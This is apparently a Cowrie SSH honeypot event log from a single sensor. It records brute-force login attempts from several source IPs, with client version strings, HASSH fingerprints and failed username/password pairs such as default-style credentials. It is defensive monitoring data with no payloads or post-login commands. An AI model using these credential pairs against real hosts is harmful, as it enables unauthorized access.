{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:50.675345Z","src_ip":"91.92.40.36","session":"70d81ce51519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mh","password":"mh","message":"login attempt [mh/mh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:52.777152Z","src_ip":"91.92.40.36","session":"70d81ce51519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:54.820744Z","src_ip":"91.92.40.36","session":"70d81ce51519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":57420,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9496f921b46","protocol":"ssh","message":"New connection: 73.36.177.174:57420 (10.17.0.5:22) [session: c9496f921b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:58.173867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:58.182209Z","src_ip":"73.36.177.174","session":"c9496f921b46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:58.227726Z","src_ip":"73.36.177.174","session":"c9496f921b46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Abc123...","message":"login attempt [ubuntu/Abc123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:58.444964Z","src_ip":"73.36.177.174","session":"c9496f921b46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":29100,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a4ad98bfdc6","protocol":"ssh","message":"New connection: 91.92.40.36:29100 (10.17.0.5:22) [session: 1a4ad98bfdc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:59.382679Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:59.491161Z","src_ip":"73.36.177.174","session":"c9496f921b46","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:59.602171Z","src_ip":"91.92.40.36","session":"1a4ad98bfdc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:01.037902Z","src_ip":"91.92.40.36","session":"1a4ad98bfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":20384,"dst_ip":"10.17.0.5","dst_port":22,"session":"60eae1c6cb3f","protocol":"ssh","message":"New connection: 150.136.214.177:20384 (10.17.0.5:22) [session: 60eae1c6cb3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:02.750303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:02.757810Z","src_ip":"150.136.214.177","session":"60eae1c6cb3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:02.786069Z","src_ip":"150.136.214.177","session":"60eae1c6cb3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Abc123...","message":"login attempt [ubuntu/Abc123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:02.923265Z","src_ip":"150.136.214.177","session":"60eae1c6cb3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:03.954490Z","src_ip":"150.136.214.177","session":"60eae1c6cb3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52602,"dst_ip":"10.17.0.5","dst_port":22,"session":"e80fa721f7aa","protocol":"ssh","message":"New connection: 91.92.40.36:52602 (10.17.0.5:22) [session: e80fa721f7aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:06.386455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:06.418311Z","src_ip":"91.92.40.36","session":"e80fa721f7aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:06.523592Z","src_ip":"91.92.40.36","session":"e80fa721f7aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"github","password":"github","message":"login attempt [github/github] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:07.108967Z","src_ip":"91.92.40.36","session":"e80fa721f7aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:08.454718Z","src_ip":"91.92.40.36","session":"e80fa721f7aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localadmin","password":"localadmin","message":"login attempt [localadmin/localadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:09.269790Z","src_ip":"91.92.40.36","session":"1a4ad98bfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52646,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeaa807707ff","protocol":"ssh","message":"New connection: 91.92.40.36:52646 (10.17.0.5:22) [session: aeaa807707ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:12.029410Z"}
{"eventid":"cowrie.session.closed","duration":"12.7","message":"Connection lost after 12.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:12.056077Z","src_ip":"91.92.40.36","session":"1a4ad98bfdc6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:12.993449Z","src_ip":"91.92.40.36","session":"aeaa807707ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:12.998132Z","src_ip":"91.92.40.36","session":"aeaa807707ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":38008,"dst_ip":"10.17.0.5","dst_port":22,"session":"777ea3b0eafb","protocol":"ssh","message":"New connection: 45.78.204.254:38008 (10.17.0.5:22) [session: 777ea3b0eafb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:14.210121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:14.214442Z","src_ip":"45.78.204.254","session":"777ea3b0eafb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:14.458066Z","src_ip":"45.78.204.254","session":"777ea3b0eafb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:16.465146Z","src_ip":"91.92.40.36","session":"aeaa807707ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:18.512260Z","src_ip":"91.92.40.36","session":"aeaa807707ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25808,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ffb9569c773","protocol":"ssh","message":"New connection: 91.92.40.36:25808 (10.17.0.5:22) [session: 3ffb9569c773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:18.988482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:20.229301Z","src_ip":"91.92.40.36","session":"3ffb9569c773","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:20.232654Z","src_ip":"91.92.40.36","session":"3ffb9569c773","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vin","password":"123456","message":"login attempt [vin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:20.323014Z","src_ip":"45.78.204.254","session":"777ea3b0eafb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:22.993548Z","src_ip":"45.78.204.254","session":"777ea3b0eafb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:23.865973Z","src_ip":"91.92.40.36","session":"3ffb9569c773","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":40980,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b303af18686","protocol":"ssh","message":"New connection: 101.36.122.139:40980 (10.17.0.5:22) [session: 4b303af18686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:24.834048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:24.838638Z","src_ip":"101.36.122.139","session":"4b303af18686","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:25.054425Z","src_ip":"101.36.122.139","session":"4b303af18686","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":32898,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bb116185439","protocol":"ssh","message":"New connection: 103.176.20.57:32898 (10.17.0.5:22) [session: 4bb116185439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:25.667724Z"}
